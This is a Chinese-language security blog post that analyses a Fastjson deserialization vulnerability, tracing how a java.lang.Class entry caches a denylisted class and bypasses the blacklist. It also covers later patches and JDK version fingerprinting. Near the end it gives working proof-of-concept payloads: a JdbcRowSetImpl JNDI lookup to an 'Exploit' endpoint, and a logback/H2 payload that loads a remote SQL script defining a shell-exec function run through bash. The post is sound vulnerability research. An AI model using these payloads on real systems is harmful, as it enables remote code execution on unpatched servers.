Learning Man's Blog

Fastjson 新反序列化漏洞解析

字数统计: 2.5k阅读时长: 9 min
2019/08/06

首先奉上廖大大的fastjson经典流程图

  • JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
  • DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
  • ParserConfig 全局唯一的解析配置
  • JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
  • SymbolTable 因为 json 特殊性,对关键 key 的缓存
  • ObjectDeserializer 反序列化接口

解析流程梳理

Demo基于 fastjson 1.2.36 & jdk 1.8.0_151

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
        Object obj = JSON.parse(payload);
    }
}

DefaultJSONParser 初始化

首先直接跟入 parse 函数,可以看到默认使用 default_parser_feature,这个值 989,用于直接与 feature 与运算来实现功能开关

跟着就可以看到DefaultJSONParser初始化,其中第二个参数即是全局配置实例

-w843

简单跟入看一下配置信息,可以直观看到很多有用的内容

-w772

回到初始化,紧接着就是调用 scanner 对 json 内容进行解析,实际上是将bp指针停在0位,同时ch对应第一个字符,并通过鉴别ch值赋予token对应常量,这个常量在后面会用到

-w896

parse 解析

在DefaultJSONParser初始化完毕后,紧接着调用parse(),此函数会根据 token 值来实现不同内容的解析,在这里会进入 JSONObject 函数,其参数是通过将 lexer.features以及 Feature.OrderedField.mask 进行位运算来判断是否支持相关功能,进而生成 LinkedHashMap 或者 HashMap

-w720

-w700

初始化后完毕后,再通过 parseObject 来实现真正的内容解析

parseObject

parseObject 通过从左到右,进行嵌套解析

  1. 首先调用scanSymbol对key进行扫描

-w766

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol(com.alibaba.fastjson.parser.SymbolTable, char)

简单解析,np记录key前"所在位,sp 记录有效字符长度,然后拷贝进symbolTable中,同时记录的还有对应的 hash 值,计算方式如下

hash = 31 * hash + chLocal;

若遇到\\开头的key,则向之后内容存到 sbuf 中,并通过控制sp长度将解析出的key放入到symbolTable中,但注意此时没有对应的hash值(这里复用 sbuf 减少开支,对 sbuf 长度控制还有简单的处理可以自己看下源码)

  1. 之后对 key 值进行判断是否为特殊 key

-w833

  1. 通过标志判断是否需要解析填充对应 context

-w911

之后是类似 key 判断的逻辑代码,只不过是这次是用来判断 value,在没有设置 fieldTypeResolver 的情况下,会调用 parseObject 进行嵌套解析

-w912

循环嵌套分析大致就是以上的逻辑


当判断 key 为 @type 之后会进入相关逻辑代码

-w985

可见关键的checkAutoType,在这里因为java.lang.Class不在黑名单中,所以允许在 map 中搜寻并返回相关类
可见 autoType 是否开启都不会影响到通过 map 搜寻(下图前两个红框),所以造成通杀

-w817

之后,进入到反序列化clazz过程

-w699

函数目的如其命名:通过 type 来获取反序列化操作函数,通过判断是否为空、任意类或参数化类(泛型),并返回对应的类

-w587

跟着看下 get 函数的内容,可以看到通过计算类名对应 hash 值,在 buckets 中寻找对应实例

-w716

那么 buckets 里面的内容是怎么来的呢?其实是在DefaultJSONParser初始化阶段生成全局 ParserConfig 时候填充的

-w623

现在有了反序列化目标实例后,回到 @type 逻辑中,执行反序列化

-w675

在对 @type 反序列化中,通过 accept 判断下一位是否为合法的",并将 token 设置为"后的首字符对
应值(常见操作,不再提及)

接着会判断对应 value 的 key 是否为val,在通过判断期望:后,解析出后面双引号中间的字符串值,再判断是否使用}进行了闭合

-w683

所以通过上面一段就先解释了这段代码的处理逻辑

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

当获取到 val 后通过通过判断 val 类型进行简单操作

-w464

之后就是对 clazz 即 @type 值判断,选择对应的处理方式,对于java.lang.Class尝试读取目标类

-w762

TypeUtils#mappings 中存储着特征值以及对应的基本类,在无法查询目标类的情况下会调用launcher主线程直接加载目标类并返回,同时会将特征值(类名)以及对应类推进 mappings 中,方便后续调用

-w787

后面将其加入到 object 中,以及更新 context,再继续进行后面的解析

-w682

Bypass denyList

结合上面checkAutoType逻辑,这次将com.sun.rowset.JdbcRowSetImpl推入了 Mapping,下一次程序能搜索 map 中有对应类,导致绕过了 denyList 检测

-w655

createJavaBeanDeserializer

当类似前面解析的逻辑,当进入到到反序列化阶段,需要获取目标类,程序会在ParserConfig中判断是否为一些常见类
在没有任何匹配的情况下,会调用createJavaBeanDeserializer生成一个新的deserializer

-w902

该函数下,通过判断 clazz是否具有泛型参数、外部类型、接口、内部类,并生成 beanInfo 用于各种逻辑判断变量信息
最后达到最重要的以下两句代码,通过 beanInfo 进入 asm 工厂生成deserializer

-w695

asmFactory 动态生成

-w909

可以见到中间部分代码,用来生成构造、实例生成、反序列化、数组值反序列化函数
由于是 asm 动态生成的类的字节码,无法直接查看,这里通过写到本地磁盘进行查看

-w825

代码过长,截取一部分,关注继承自JavaBeanDeserializer和最下面的三个公共函数(还有一个deserialzeArrayMapping因为代码太长就没放上来)

-w868

回到上面 asm 生成类中创建实例时 JavaBeanDeserializer 初始化起到的作用,根据下面代码可以看到主要就是将 beanInfo 中的变量通过 createFieldDeserializer 转换,并将各个变量支持的不同字段名放入alterNameFieldDeserializers中并存到sortedFieldDeserializers中

-w874

可以看到两个关键的参数

-w606

Deserialze 反序列化

经过上面的过程获取到了目标类以及相应的deserialzer,就可以真正执行反序列化了

-w663

因为导出的class文件通过反编译里面的内容。。。。反正我是看不懂,直接越过看最后的调用

-w767

debug 下可以看到传入的类型以及各个参数值

-w742

紧接着跟入到JavaBeanDeserializer#deserialze,首先还是后续内容格式进行判断,如果跟着是,则进入以下代码,这里提取每一个sorted的字段序列化对象、字段名、字段对应类
如果字段不为空,则继续提取对应将要搜寻的字符串(name_chars)

-w756

接下来就是对 fieldClass 的分类处理,对 autoCommit 而言,即为进入以下代码片段,内容很好理解,后面就是值匹配的一系列操作,就不展开了

-w742
-w703
-w791
-w551

关键点

  1. 在检测到 @type 为 java.lang.Class 后,会调用com.alibaba.fastjson.serializer.MiscCodec进行反序列化。先解析出val对应的字符串值,之后调用com.alibaba.fastjson.util.TypeUtils#loadClass()来读取目标类,如果不存在于 mappings 中就会推进去以备后(第二轮)用。这里 com.sun.rowset.JdbcRowSetImpl 就被推进了 map 中

  2. 第二轮检测 @type 为 com.sun.rowset.JdbcRowSetImpl 时,在checkAutoType()中,由于map 优先级高于denyList,且可以在 map 中搜索到相关类,导致绕过了黑名单检测,最终实现目标类实例化

  3. 早期版本中,TypeUtils.java#loadClass 读到的类会直接推进 map;而在接近版本 1.2.47(具体哪个版本开始的没注意),loadClass 会通过新增的boolean参数 cache 选择是否将读到的 class 推进 map

-w654

-w1087

POC

1

广泛公开流传的,与 autoType 无关,可通杀 version < 1.2.48

{
    "name":
    {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x":
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:10999/Exploit",
        "autoCommit": true
    }
}

2

原文章,需要 autoType 开启,version <= 1.2.58,以及下面列出的 jar 包支持

h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar

Poc

{
    "@type": "ch.qos.logback.core.db.DriverManagerConnectionSource",
    "url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
# inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc') # 直接改这里

高版本补丁

i. denyList

自 1.2.42 开始改成了denyHashCodes,以增大攻击难度,github 上有人跑了一下类名及对应哈希

-w347

ii. loadClass

默认 cache 为 false,导致无法将目标类推进 map 来绕过denyHashCodes检测

-w650

高版本绕过

暂上文章

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-41

JDK version

java反序列化攻击受jdk版本影响

快速爆版本

经过简单的搜索,可以发现只有两个点在抛出异常时会携带有版本号信息

-w678

考虑到攻击场景,所以利用位于JavaBeanDeserializer#deserialze

-w903

所以在进入此函数后,因涉及多次判断,最简单情况只要 token 不为{}[,情况下即可抛出版本信息

-w1019

遇到的问题

i. System.identityHashCode in Run & Debug mode

发现直接run 1.2.36源码时(疑惑?),deserializers中加入WeakReference会导致 java.lang.Class对应 key 丢失
-w760

深入一下,可以看到在 run 模式下,最后生成的 key 都是 807,导致了覆盖
-w376

debug 模式下则是一个 807,一个 425,所以后面可以搜索到
-w384

CATALOG
  1. 1. 解析流程梳理
    1. 1.1. DefaultJSONParser 初始化
    2. 1.2. parse 解析
    3. 1.3. parseObject
    4. 1.4. Bypass denyList
    5. 1.5. createJavaBeanDeserializer
    6. 1.6. asmFactory 动态生成
    7. 1.7. Deserialze 反序列化
  2. 2. 关键点
  3. 3. POC
    1. 3.1. 1
    2. 3.2. 2
  4. 4. 高版本补丁
    1. 4.1. i. denyList
    2. 4.2. ii. loadClass
  5. 5. 高版本绕过
  6. 6. JDK version
  7. 7. 快速爆版本
  8. 8. 遇到的问题
    1. 8.1. i. System.identityHashCode in Run & Debug mode